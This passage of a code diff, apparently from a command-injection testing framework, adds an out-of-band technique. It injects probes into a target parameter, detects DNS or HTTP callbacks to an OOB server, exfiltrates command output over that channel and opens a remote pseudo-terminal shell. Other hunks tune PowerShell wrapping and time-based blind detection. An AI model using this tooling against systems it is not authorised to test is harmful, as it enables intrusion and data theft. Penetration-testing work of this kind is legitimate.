_urllib from src.core.injections.blind.techniques.time_based import tb_handler +from src.core.injections.blind.techniques.oob import oob_handler from src.core.injections.semiblind.techniques.file_based import fb_handler from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler from src.core.injections.results_based.techniques.classic import cb_handler @@ -54,7 +55,10 @@ def basic_payload_generator(): suffix = "" if settings.USE_BACKTICKS: + # 'expr' wants its operands as separate arguments - given one, it echoes the string back + # instead of adding anything up. prefix = "expr " + calc_string = str(rand_a) + settings.SINGLE_WHITESPACE + "%2B" + settings.SINGLE_WHITESPACE + str(rand_b) else: prefix = "(" suffix = ")" @@ -163,6 +167,15 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites response = requests.get_request_response(request) return response, url +""" +Announce what the heuristic found. One wording for every channel it can come back over - which one +answered is the technique's business, not something to commit to while still guessing. +""" +def announce_heuristic_finding(possible_os): + info_msg = "Heuristic (basic) test shows that " + info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible operating system: '" + possible_os + "')." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + """ Heuristic (basic) test for command injection """ @@ -195,9 +208,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter) settings.TARGET_OS = settings.OS.UNIX else: settings.TARGET_OS = settings.OS.WINDOWS - info_msg = "Heuristic (basic) test shows that " - info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible operating system: '" + possible_os + "')." - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + announce_heuristic_finding(possible_os) settings.SKIP_CODE_INJECTIONS = True break @@ -208,6 +219,90 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() +""" +Heuristic (basic) test over the out-of-band channel. + +The results-based test reads the sum back out of the response, so it is blind to exactly the points +'--oob' exists for. Without this, such a parameter is reported as probably not injectable - and with +'--smart' it would be skipped outright. +""" +def oob_heuristic_basic(url, http_request_method, check_parameter): + from src.core.injections.blind.techniques.oob import oob_payloads as oob_payloads + + channel = checks.init_oob_channel() + if channel is None: + return url + + # Both, unless the results-based test already settled which one it is - or the user has said so + # with '--os', which no heuristic of ours gets to overrule. + target_systems = (settings.OS.UNIX, settings.OS.WINDOWS) + if settings.IDENTIFIED_COMMAND_INJECTION or menu.options.os: + target_systems = (settings.TARGET_OS,) + + attempts = [] + for target_os in target_systems: + payload, probes = oob_payloads.heuristic_payload(channel, target_os) + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.print_payload(payload)) + heuristic_request(url, http_request_method, check_parameter, payload, settings.WHITESPACES[0]) + attempts.append((target_os, probes)) + + # A name lookup beats an HTTPS round trip almost every time, so the client that answers first is + # nearly always the one least worth leading with. Once only a lookup has landed, hold the window + # open a little longer for an HTTP client rather than settling on the spot. + def _http_first(): + best = None + for target_os, probes in attempts: + for token, transport in probes: + if not channel.seen(token, protocol=oob_payloads.required_protocol(transport)): + continue + if oob_payloads.required_protocol(transport) == "http": + return (target_os, transport) + if best is None: + best = (target_os, transport) + return best + + channel.poll_now() + answered = None + deadline = time.time() + settings.OOB_TIMEOUT + while time.time() < deadline: + answered = _http_first() + if answered is not None: + if oob_payloads.required_protocol(answered[1]) == "http": + break + # Only a lookup so far - give an HTTP client a brief grace period to follow it in. + deadline = min(deadline, time.time() + settings.OOB_HTTP_GRACE) + # Asked for every round: the idle interval would hold the answer back for seconds after it lands. + channel.poll_now() + time.sleep(settings.OOB_WAIT_POLL_INTERVAL) + + if answered is None: + return url + + target_os, transport = answered + # The lookup came back, so the payload around it ran - and any HTTP client in that same payload + # has already had its chance on a boundary that works. Naming them here keeps the sweep from + # asking them again on every boundary it tries. + if oob_payloads.required_protocol(transport) == "dns": + silent = [candidate for _, probes in attempts for token, candidate in probes + if oob_payloads.required_protocol(candidate) == "http" and not channel.seen(token, protocol="http")] + settings.OOB_HEURISTIC_HTTP_SILENT = list(dict.fromkeys(silent)) + # Already identified means the results-based test got there first, so the interaction is not + # news - which client the target answered on still is, and the sweep leads with it. + already_identified = settings.IDENTIFIED_COMMAND_INJECTION + settings.IDENTIFIED_COMMAND_INJECTION = True + settings.OOB_HEURISTIC_TRANSPORT = transport + settings.SKIP_CODE_INJECTIONS = True + if already_identified: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The target answered out-of-band over '" + transport + "'." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + return url + if not menu.options.os: + settings.TARGET_OS = target_os + announce_heuristic_finding("Windows" if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like shell") + return url + """ Heuristic (basic) test for code injection warnings """ @@ -317,6 +412,19 @@ def exploit(): return result run_technique(injection_type, technique, "FILE_BASED_STATE", "SKIP_COMMAND_INJECTIONS", "f", exploit) +""" +Check if it's exploitable via out-of-band technique. +""" +def oob_command_injection_technique(url, timesec, filename, http_request_method): + injection_type = settings.INJECTION_TYPE.BLIND + technique = settings.INJECTION_TECHNIQUE.OOB + def exploit(): + result = oob_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) + if result != False: + settings.IDENTIFIED_COMMAND_INJECTION = True + return result + run_technique(injection_type, technique, "OOB_STATE", "SKIP_OOB_INJECTIONS", "o", exploit) + """ Check parameter in HTTP header. """ @@ -570,6 +678,11 @@ def _ensure_time_warmup(): if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): url = command_injection_heuristic_basic(url, http_request_method, check_parameter) + # Asked for out-of-band, so probe the channel either way: whether the target can reach it + # at all, and over which client, is a separate question from whether it is injectable. + if menu.options.oob: + url = oob_heuristic_basic(url, http_request_method, check_parameter) + if not settings.IDENTIFIED_COMMAND_INJECTION and "e" in menu.options.tech: # Check for identified warnings url = code_injections_heuristic_basic(url, http_request_method, check_parameter) @@ -639,6 +752,7 @@ def _run_file_based(): lambda: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method), _run_time_based, _run_file_based, + lambda: oob_command_injection_technique(url, timesec, filename, http_request_method), ] technique_idx = 0 while technique_idx < len(techniques): diff --git a/src/core/injections/controller/execution.py b/src/core/injections/controller/execution.py index da1e51fca5..36721e5ebb 100644 --- a/src/core/injections/controller/execution.py +++ b/src/core/injections/controller/execution.py @@ -31,6 +31,8 @@ def select_injector(technique): from src.core.injections.blind.techniques.time_based import tb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.OOB: + from src.core.injections.blind.techniques.oob import oob_injector as injector else: from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector return injector @@ -55,11 +57,13 @@ def windows_transform_cmd(cmd, technique, interpreter): cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" else: cmd = checks.quoted_cmd(cmd) - else: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + # 'write', not 'write-host': the value is read back off the payload's own standard output, and + # only the newer PowerShell writes what the latter prints there at all. + cmd = "powershell.exe -InputFormat none write ([string](cmd /c " + cmd + ")).trim().length" + # The tempfile-based payloads wrap the command themselves, in the one PowerShell they already + # start - wrapping it here as well would cost a second process per probe, and the timing + # measurement pays for every one of them. return cmd, previous_cmd """ @@ -67,6 +71,8 @@ def windows_transform_cmd(cmd, technique, interpreter): """ def make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess_time=lambda shell: shell, catch_time_error=False): def execute_cmd(cmd): + if technique == settings.INJECTION_TECHNIQUE.OOB: + return injector.injection(separator, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) if settings.TIME_RELATED_ATTACK: try: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index d198465092..87b7ffa53a 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -318,6 +318,327 @@ def probe_skip_testable_value_post_detection(separator, timesec, http_request_me # Reset the caller's own cached prefix - it still has the old value baked in. return url, "" +""" +Fire every boundary/transport candidate without waiting, then poll once for the results. +""" +def do_oob_process(url, timesec, filename, http_request_method, injection_type, technique): + + from src.core.injections.blind.techniques.oob import oob_payloads as payloads + + channel = checks.init_oob_channel() + if channel is None: + return False + + def _exploit(separator, prefix, suffix, whitespace, vuln_parameter, transport, TAG): + from src.core.injections.blind.techniques.oob import oob_injector as oob_inj + settings.OOB_TRANSPORT = transport + if not oob_inj.can_execute(): + alternatives = payloads.exfiltration_alternatives(transport) + warn_msg = "Only the '" + transport + "' client reached the out-of-band server" + if alternatives: + warn_msg += " (" + ", ".join("'" + candidate + "'" for candidate in alternatives) + " did not)" + warn_msg += ", so the injection point is confirmed but its output cannot be retrieved. " + warn_msg += "Try '--oob-scheme' or an '--oob-server' the target can reach over HTTP(S)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return True + cmd = maxlen = OUTPUT_TEXTFILE = "" + interpreter = menu.options.interpreter + _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) + _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) + if menu.options.os_cmd: + def _run_os_cmd(): + if settings.OS_CMD_DONE: + return + settings.OS_CMD_DONE = True + settings.DETECTION_PHASE = False + settings.EXPLOITATION_PHASE = True + enumeration.single_os_cmd_exec(separator, "", TAG, menu.options.os_cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, "", interpreter, filename, 0, technique) + _register_post_detection_action(_run_os_cmd) + oob_pseudo_terminal_shell(separator, prefix, suffix, whitespace, vuln_parameter, http_request_method, url, filename, technique, transport) + return True + + stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None + if stored_row: + try: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) + url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix) + checks.check_for_stored_tamper(payload) + settings.OOB_STATE = True + settings.OOB_EVAL = payloads.is_eval(payload) + return _exploit(separator, prefix, suffix, settings.WHITESPACES[0], vuln_parameter, payloads.transport_of(payload), TAG) + except TypeError: + checks.error_loading_session_file() + + _announce_technique(injection_type, technique) + + # A command sink first, then an evaluation sink - the channel proves either one. + sinks = [(False, injection_type, settings.PREFIXES, settings.SUFFIXES, settings.SEPARATORS)] + if len(menu.options.tech) == 0 or "e" in menu.options.tech or "o" in menu.options.tech: + sinks.append((True, settings.INJECTION_TYPE.BLIND_CE, payloads.eval_prefixes(), settings.EVAL_SUFFIXES, settings.EVAL_SEPARATORS)) + + for is_eval, sink_type, sink_prefixes, sink_suffixes, sink_separators in sinks: + settings.OOB_EVAL = is_eval + found = _oob_sweep(is_eval, sink_type, sink_prefixes, sink_suffixes, sink_separators, + url, timesec, filename, http_request_method, technique, channel, payloads, _exploit) + if found: + return found + settings.OOB_EVAL = False + # Every sink is exhausted, so close the progress line the way the other techniques do. + checks.injection_process(injection_type, technique, done=True) + return False + +def _oob_sweep(is_eval, injection_type, prefixes, suffixes, separators, url, timesec, filename, http_request_method, technique, channel, payloads, _exploit): + + whitespaces = settings.WHITESPACES + prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces) + + transports = payloads.transports() + + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators)) + total = len(combinations) * len(transports) + i = 0 + + # Boundary-major, so that the first boundary that works reveals its transport at the same time, + # instead of paying a whole sweep to learn that the target has no curl. + fired = [] + winner = None + for whitespace, prefix, suffix, separator in combinations: + # A confirmed point that nothing can be run through is kept, but the sweep goes on looking for + # one that can be - another boundary may well chain. + if winner is not None and _oob_usable(winner, payloads): + break + for transport in transports: + # The background poller may already have brought an earlier probe's interaction in, in which + # case the rest of the sweep is wasted requests. Checking costs nothing and never waits. Only + # an answer nothing can improve on stops the boundary, though - a name lookup that worked + # still leaves the HTTP clients worth a try, since they carry output back in one request. + if winner is not None and _oob_rank(winner, payloads) == OOB_RANK_BEST: + break + # Where the shell chains nothing, a client of ours never runs. A name lookup can still betray + # the point through the target's own command, but an HTTP client would only sit there waiting. + if not checks.separator_chains(separator) and payloads.required_protocol(transport) != "dns": + continue + bare_prefix = prefix + bare_suffix = suffix + probe_whitespace = whitespace + probe_prefix = prefix + if probe_whitespace == settings.SINGLE_WHITESPACE: + probe_whitespace = _urllib.parse.quote(probe_whitespace) + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + i = i + 1 + if probe_prefix + separator in settings.JUNK_COMBINATION: + probe_prefix = "" + token, hostname = channel.new_payload() + expression, expected, prologue = payloads.proof(transport) + if is_eval: + payload = payloads.decision_eval(separator, transport, hostname, expression, prologue) + else: + payload = payloads.decision(separator, transport, hostname, expression, prologue) + try: + response, vuln_parameter, payload, probe_prefix, probe_suffix = oob_inject(probe_prefix, suffix, probe_whitespace, payload, "", http_request_method, url) + except KeyboardInterrupt: + checks.handle_detection_interrupt(filename, url) + except SystemExit: + raise + except Exception: + continue + fired.append((token, separator, probe_prefix, probe_suffix, probe_whitespace, bare_prefix, bare_suffix, vuln_parameter, payload, expected, transport)) + checks.injection_process(injection_type, technique, done=False, i=i, total=total) + # The earliest combinations are the likeliest, so keep asking the server over the first few + # rather than sitting out the poll interval and firing the rest of the sweep for nothing. An + # interaction needs a moment to land, so one immediate poll would always be too early. + if len(fired) <= settings.OOB_EAGER_POLLS: + channel.poll_now() + winner = _oob_winner(fired, channel, payloads) + + if not fired: + return False + + # Every probe is already in flight, so one wait covers the whole sweep. A client that cannot carry + # output is settled for only once the wait is over, in case one that can is a moment behind it - + # unless no probe that could do better was fired at all, in which case there is nothing to wait for. + best_reachable = OOB_RANK_BEST + if not any(payloads.required_protocol(probe[10]) == "http" for probe in fired): + best_reachable = OOB_RANK_LOOKUP + deadline = time.time() + settings.OOB_TIMEOUT + while time.time() < deadline: + candidate = _oob_winner(fired, channel, payloads) + if candidate is not None and (winner is None or _oob_rank(candidate, payloads) >= _oob_rank(winner, payloads)): + winner = candidate + if winner is not None and _oob_rank(winner, payloads) >= best_reachable: + break + # Asked for every round: the idle interval would hold the answer back for seconds after it lands. + channel.poll_now() + time.sleep(settings.OOB_WAIT_POLL_INTERVAL) + + if winner is None: + return False + + token, separator, prefix, suffix, whitespace, bare_prefix, bare_suffix, vuln_parameter, payload, expected, transport = winner + # The boundary is settled, so the clients the sweep left out are worth one request each here - + # a single try on a boundary that works, rather than one on every boundary that might not. + if payloads.required_protocol(transport) == "dns": + upgrade = _oob_http_upgrade(is_eval, separator, prefix, suffix, whitespace, vuln_parameter, url, http_request_method, filename, channel, payloads) + if upgrade is not None: + transport, payload = upgrade + # Named now, so the finding is announced with the channel it came back over. + settings.OOB_TRANSPORT = transport + # Only where they were tried: a forced transport means nothing was learnt about the others. + tried = [] if menu.options.oob_transport else payloads.tried_http_clients() + # The finding itself already names the channel, so which clients led to it is a debug detail. + if settings.VERBOSITY_LEVEL != 0: + if payloads.required_protocol(transport) == "dns": + if tried: + debug_msg = "None of the HTTP(S) clients tried (" + debug_msg += ", ".join("'" + candidate + "'" for candidate in tried) + debug_msg += ") reached the out-of-band server, so the output comes back a label at a time." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + else: + debug_msg = "The '" + transport + "' client on the target reached the out-of-band server, " + debug_msg += "so the output of a command comes back whole." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + + # Re-confirm with a fresh token, against a stray interaction. + for _ in range(settings.RESULTS_BASED_VERIFY_ROUNDS): + verify_token, verify_hostname = channel.new_payload() + verify_expression, verify_expected, verify_prologue = payloads.proof(transport) + if is_eval: + verify_payload = payloads.decision_eval(separator, transport, verify_hostname, verify_expression, verify_prologue) + else: + verify_payload = payloads.decision(separator, transport, verify_hostname, verify_expression, verify_prologue) + oob_inject(prefix, suffix, whitespace, verify_payload, vuln_parameter, http_request_method, url) + if not checks.oob_proof_holds(channel.wait_for(verify_token, settings.OOB_TIMEOUT, + protocol=payloads.required_protocol(transport)), + verify_expected): + checks.unexploitable_point() + return False + + checks.injection_process(injection_type, technique, done=True) + settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, 1, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix)) + session_handler.import_injection_points(url, technique, injection_type, filename, separator, True, vuln_parameter, prefix, suffix, TAG, menu.options.interpreter, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) + return _exploit(separator, prefix, suffix, whitespace, vuln_parameter, transport, TAG) + +""" +Send an out-of-band payload without waiting around for a response it never reads. Clients on the +target can block for a long time - 'certutil' for well over a minute - and a sweep that waited for +each of them would take hours to learn nothing. +""" +def oob_inject(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): + saved_timeout, saved_keep_alive = settings.TIMEOUT, settings.KEEP_ALIVE + settings.TIMEOUT = min(saved_timeout, settings.OOB_PROBE_TIMEOUT) + # A pooled connection keeps the timeout it was opened with, so the shorter one would not apply + # to any probe that reuses it. + settings.KEEP_ALIVE = False + try: + return requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + finally: + settings.TIMEOUT, settings.KEEP_ALIVE = saved_timeout, saved_keep_alive + +""" +The first fired probe whose interaction has arrived and carries the result it was asked for. +""" +def _oob_winner(fired, channel, payloads): + # The most useful of the confirmed ones, not the first: see _oob_rank() below. + winner = None + for candidate in fired: + interactions = channel.seen(candidate[0], protocol=payloads.required_protocol(candidate[10])) + if not checks.oob_proof_holds(interactions, candidate[9]): + continue + if winner is None or _oob_rank(candidate, payloads) > _oob_rank(winner, payloads): + winner = candidate + if _oob_rank(winner, payloads) == OOB_RANK_BEST: + break + return winner + +""" +Ask the clients the sweep left out whether they can reach us through the boundary the name lookup +has just confirmed. The point is already found, so this is only a chance at pulling output back +whole instead of a label at a time - one request each, and a short wait for all of them together. +""" +def _oob_http_upgrade(is_eval, separator, prefix, suffix, whitespace, vuln_parameter, url, http_request_method, filename, channel, payloads): + if menu.options.oob_transport or not settings.OOB_HEURISTIC_HTTP_SILENT: + return None + fired = [] + for candidate in payloads.upgrade_candidates(): + token, hostname = channel.new_payload() + expression, expected, prologue = payloads.proof(candidate) + if is_eval: + payload = payloads.decision_eval(separator, candidate, hostname, expression, prologue) + else: + payload = payloads.decision(separator, candidate, hostname, expression, prologue) + try: + # The payload that went out is the one the tamper scripts shaped, and that is the one a + # finding has to be reported and stored with. + _, _, payload, _, _ = oob_inject(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + except KeyboardInterrupt: + checks.handle_detection_interrupt(filename, url) + except SystemExit: + raise + except Exception: + continue + fired.append((token, expected, candidate, payload)) + if not fired: + return None + # The heuristic already suggests nothing gets out over HTTP, so this waits out the grace period + # rather than the full timeout - the lookup is there to fall back on either way. + deadline = time.time() + settings.OOB_HTTP_GRACE + while True: + for token, expected, candidate, payload in fired: + if checks.oob_proof_holds(channel.seen(token, protocol="http"), expected): + return candidate, payload + if time.time() >= deadline: + return None + channel.poll_now() + time.sleep(settings.OOB_WAIT_POLL_INTERVAL) + +""" +Nothing beats a confirmed probe whose client can be asked for a command's output in one request. +""" +OOB_RANK_BEST = 3 + +""" +A confirmed probe whose client can only carry output back a label at a time. +""" +OOB_RANK_LOOKUP = 2 + +""" +How much use a confirmed probe is. An HTTP client carries a command's output back whole, a name +lookup carries it a label at a time, and a boundary nothing can be run through is only worth +reporting - so both kinds of client are tried before settling for the slower one. +""" +def _oob_rank(candidate, payloads): + if not _oob_usable(candidate, payloads): + return 1 + return OOB_RANK_BEST if payloads.required_protocol(candidate[10]) == "http" else OOB_RANK_LOOKUP + +""" +Report whether a confirmed probe is one a command can be run through: the separator has to chain a +command of our own, and the client has to be able to carry its output back. +""" +def _oob_usable(candidate, payloads): + return checks.separator_chains(candidate[1]) and payloads.supports_exfiltration(candidate[10]) + +""" +Open the pseudo-terminal on top of the out-of-band channel. +""" +def oob_pseudo_terminal_shell(separator, prefix, suffix, whitespace, vuln_parameter, http_request_method, url, filename, technique, transport): + from src.core.injections.blind.techniques.oob import oob_injector as injector + + def execute_cmd(cmd): + stored = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if not menu.options.ignore_session and checks.usable_stored_cmd(stored): + return stored + shell = injector.injection(separator, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, transport) + logs.executed_command(filename, cmd, shell) + if shell and not menu.options.ignore_session: + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + return shell + + return pseudo_terminal_shell_generic(url, filename, technique, False, execute_cmd, separator=separator) + """ The main Time-related exploitation process. """ @@ -331,6 +652,8 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.THREADED_TIME_RETRIEVAL_CHOICE = False else: + # Answered yes, the retrieval still measures whether the answers can be told apart under that + # concurrency - which needs a payload, and so cannot be settled here. msg = "Multi-threading is considered unsafe for time-related data retrieval. " msg += "Do you want to continue using threads anyway? [Y/n] " settings.THREADED_TIME_RETRIEVAL_CHOICE = common.read_input(msg, default="Y", check_batch=True) in settings.CHOICE_YES @@ -421,6 +744,32 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim OUTPUT_TEXTFILE = "" # only used by TEMP_FILE_BASED, set just below if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) + # What these payloads cost is part of the answer's time: one that writes a file and reads it + # back through two interpreters takes about a second before any delay is asked for, while the + # model it is judged against was built from plain requests. Sampled once with a length that + # cannot hold, so an answer that was never held back is not read as a delayed one. + if not settings.PAYLOAD_BASELINE_SAMPLED: + settings.PAYLOAD_BASELINE_SAMPLED = True + impossible = int(tag_length) + 100 + if interpreter: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + probe = payloads.decision_alter_interpreter(separator, TAG, impossible, timesec, http_request_method) + else: + probe = payloads.decision_alter_interpreter(separator, impossible, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + probe = payloads.decision(separator, TAG, impossible, timesec, http_request_method) + else: + probe = payloads.decision(separator, impossible, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + if probe: + try: + probe_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, probe, "", http_request_method, url) + checks.record_baseline_response_time(probe_time) + except (KeyboardInterrupt, SystemExit): + raise + except Exception: + pass + for output_length in range(1, int(tag_length)): try: # Tempfile-based decision payload (check if host is vulnerable). @@ -449,12 +798,16 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim false_positive_fixation = False if len(TAG) == output_length: - statistical_anomaly = True - first_few = exec_time_statistic[0:5] - if first_few and max(first_few) - min(first_few) <= max(settings.MIN_VALID_DELAYED_RESPONSE, timesec * 0.5): - if max(xrange(len(exec_time_statistic)), key=lambda x: exec_time_statistic[x]) == len(TAG) - 1: - statistical_anomaly = False - exec_time_statistic = [] + # Only where one candidate length is answered late and the rest on time is the + # sample's shape worth reading: an oracle that answers every candidate the same + # way would otherwise be called unstable on every run. + statistical_anomaly = checks.decision_is_length_based() + if statistical_anomaly: + first_few = exec_time_statistic[0:5] + if first_few and max(first_few) - min(first_few) <= max(settings.MIN_VALID_DELAYED_RESPONSE, timesec * 0.5): + if max(xrange(len(exec_time_statistic)), key=lambda x: exec_time_statistic[x]) == len(TAG) - 1: + statistical_anomaly = False + exec_time_statistic = [] if timesec <= exec_time and not statistical_anomaly: false_positive_fixation = True @@ -618,6 +971,9 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject prefixes = settings.PREFIXES suffixes = settings.SUFFIXES separators = settings.SEPARATORS + if settings.TARGET_OS == settings.OS.WINDOWS: + # Dropped up front, so the attempt count reflects what cmd.exe can actually chain on. + separators = [_separator for _separator in separators if checks.windows_separator(_separator) is not None] if not settings.LOAD_SESSION or technique not in settings.STORED_TECHNIQUES: _announce_technique(injection_type, technique) @@ -632,6 +988,10 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) i = 0 total = len(whitespaces) * len(prefixes) * len(suffixes) * len(separators) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED and int(menu.options.failed_tries) >= total: + # The temporary directory is offered after this many failed writes, so it has to be reachable + # however few boundary combinations there are to try - a Windows target leaves fewer. + menu.options.failed_tries = max(1, total - 1) for whitespace, prefix, suffix, separator in _boundary_combinations(whitespaces, prefixes, suffixes, separators): bare_prefix = prefix bare_suffix = suffix @@ -700,6 +1060,11 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject # Classic decision payload (check if host is vulnerable). payload = payloads.decision(separator, TAG, randv1, randv2) + # No payload for this separator - cmd.exe cannot chain on it, so there is nothing to send. + if not payload: + checks.injection_process(injection_type, technique, done=bool(no_result and i >= total), i=i, total=total) + continue + vuln_parameter = "" response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 79ed9382ef..5dc3489e4c 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -95,11 +95,46 @@ def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespa except ValueError: _cached_length = None - def _warm_up_baseline(): + # The length and character payloads read their value off a PowerShell on the target, and its + # first launch is served cold - tens of seconds, where every one after it costs about a second. + # Measured, that start reads as a delay the payload never asked for, and recorded, it widens the + # model every later comparison is judged against. Paid once here, before either can happen. + def _warm_up_target_shell(): + if settings.TARGET_OS != settings.OS.WINDOWS: + return + safe_candidate = int(maxlen) * 2 + 100 + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + probe = payloads.get_length(separator, cmd, safe_candidate, timesec, http_request_method) + else: + probe = payloads.cmd_execution(separator, cmd, safe_candidate, OUTPUT_TEXTFILE, timesec, http_request_method) + if not probe: + return + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Warming up the target's shell, so that its first start is not measured." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + try: + requests.perform_injection(prefix, suffix, whitespace, probe, vuln_parameter, http_request_method, url) + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + except Exception: + pass + + def _warm_up_baseline(announce=True): + fan_out = retrieval_concurrency() + # A model of responses asked for one at a time says nothing about how the target answers while + # it is serving several: those take longer, and every one of them then reads as a delay the + # payload never asked for - which is how a character resolves to a value above the real one. + # Sampled again here, the way every probe after it is sent. + if fan_out > 1 and not settings.CONCURRENT_BASELINE: + settings.CONCURRENT_BASELINE = True + del settings.RESPONSE_TIMES[:] if len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES: - warn_msg = "Time-related response comparison requires a larger statistical model" - warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) + # Silent where the caller has just said what it is taking the model again for: the dots + # carry on under that line instead of repeating it. + if announce: + warn_msg = "Time-related response comparison requires a larger statistical model" + warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) def _probe(): safe_candidate = int(maxlen) * 2 + 100 @@ -113,7 +148,6 @@ def _probe(): if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") - fan_out = settings.THREADS if (settings.THREADS > 1 and _THREADS_SUPPORTED) else 1 while len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES: try: if fan_out > 1: @@ -131,12 +165,68 @@ def _check_lagging(): if checks.check_lagging(): length_suspect = lagging_detected = True + # A delay the target's own answers already take is no delay at all - both come back late and the + # comparison behind them cannot be read either way. Raised to clear the model before the first + # measurement, rather than after a search has spent its requests on answers that all look alike. + # Under '--threads' this is what the concurrency costs: several requests at once are served + # slower than one, so the delay that told them apart on a quiet target no longer does. + # The next delay to try after an answer could not be read: the measured requirement where that is + # higher than a single step, since a payload whose own work varies by seconds is never caught up + # with one second at a time. + def _escalated_delay(current): + needed = _needed_delay() + stepped = current + settings.TIME_DELAY_STEP + return max(stepped, needed) if needed is not None else stepped + + # The delay that would stand above the target's own answers, as the model has them so far. + def _needed_delay(): + threshold = checks.current_delay_threshold() + return None if threshold is None else int(threshold) + 1 + settings.TIME_DELAY_STEP + + # Give up the concurrency and take the model again without it, so that what follows is judged + # against the way the requests are now 